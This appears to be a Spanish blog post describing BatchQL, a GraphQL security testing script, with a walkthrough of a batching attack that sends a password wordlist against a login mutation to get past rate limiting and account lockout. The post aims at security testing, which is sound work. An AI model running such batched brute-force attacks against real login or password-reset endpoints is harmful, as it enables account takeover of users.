in

Script de monitoreo de seguridad GraphQL con un enfoque en la ejecución de consultas y mutaciones GraphQL por lotes




BatchQL es un script de monitoreo de seguridad GraphQL que se enfoca en ejecutar consultas y mutaciones de Batch GraphQL. Este script no es complejo y agradecemos las mejoras.

Mientras investigábamos el área problemática de los ataques de procesamiento por lotes GraphQL, descubrimos que había algunas publicaciones de blog en Internet, pero ninguna herramienta para realizar ataques de procesamiento por lotes GraphQL.

Los ataques por lotes de GraphQL pueden ser bastante graves según las funcionalidades implementadas. Por ejemplo, imagine una función de restablecimiento de contraseña que espera que se envíe un PIN de 4 dígitos a su correo electrónico. Esta herramienta le permite probar todos los intentos de 10k pines en una sola consulta GraphQL. Esto puede eludir cualquier límite de tasa o bloqueo de cuenta dependiendo de los detalles de implementación del proceso de restablecimiento de contraseña.

Detecciones

Esta herramienta puede detectar:

  • Soporte de consultas de introspección
  • Reconocimiento de propuestas de esquemas
  • Detección potencial de CSRF
  • Procesamiento por lotes basado en nombres de consultas
  • Consultar el procesamiento por lotes basado en listas JSON

ataques

Actualmente, esta herramienta solo admite el envío de consultas basadas en listas JSON para ataques por lotes. Admite escenarios en los que las variables están incrustadas en la consulta o se proporcionan en la entrada JSON.

propósito de uso

contar

❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080

Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.

Ataques por lotes

  1. Guarde un archivo que contenga su consulta GraphQL, p. Ej. acc-login.txt:
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
  1. Ejecute el siguiente comando para realizar un ataque por lotes GraphQL:
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080

El comando anterior hace lo siguiente:

  • Especifica una consulta de un archivo local --query acc-login.txt.
  • Especifica una lista de palabras --wordlist passwords.txt
  • Especifica la entrada variable con el identificador de reemplazo -v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}
  • Especifica el tamaño del lote --size 100
  • Especifica el punto final -e http://re.local:5000/graphiql
  • Especifica un proxy -p localhost:8080

Referencias



What do you think?

Written by Helen Lafayette

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

GIPHY App Key not set. Please check settings

Windows 11 ya no es compatible con las VM de Oracle VirtualBox

El nuevo fraude publicitario criptográfico «Elon Musk Club» se promueve por correo electrónico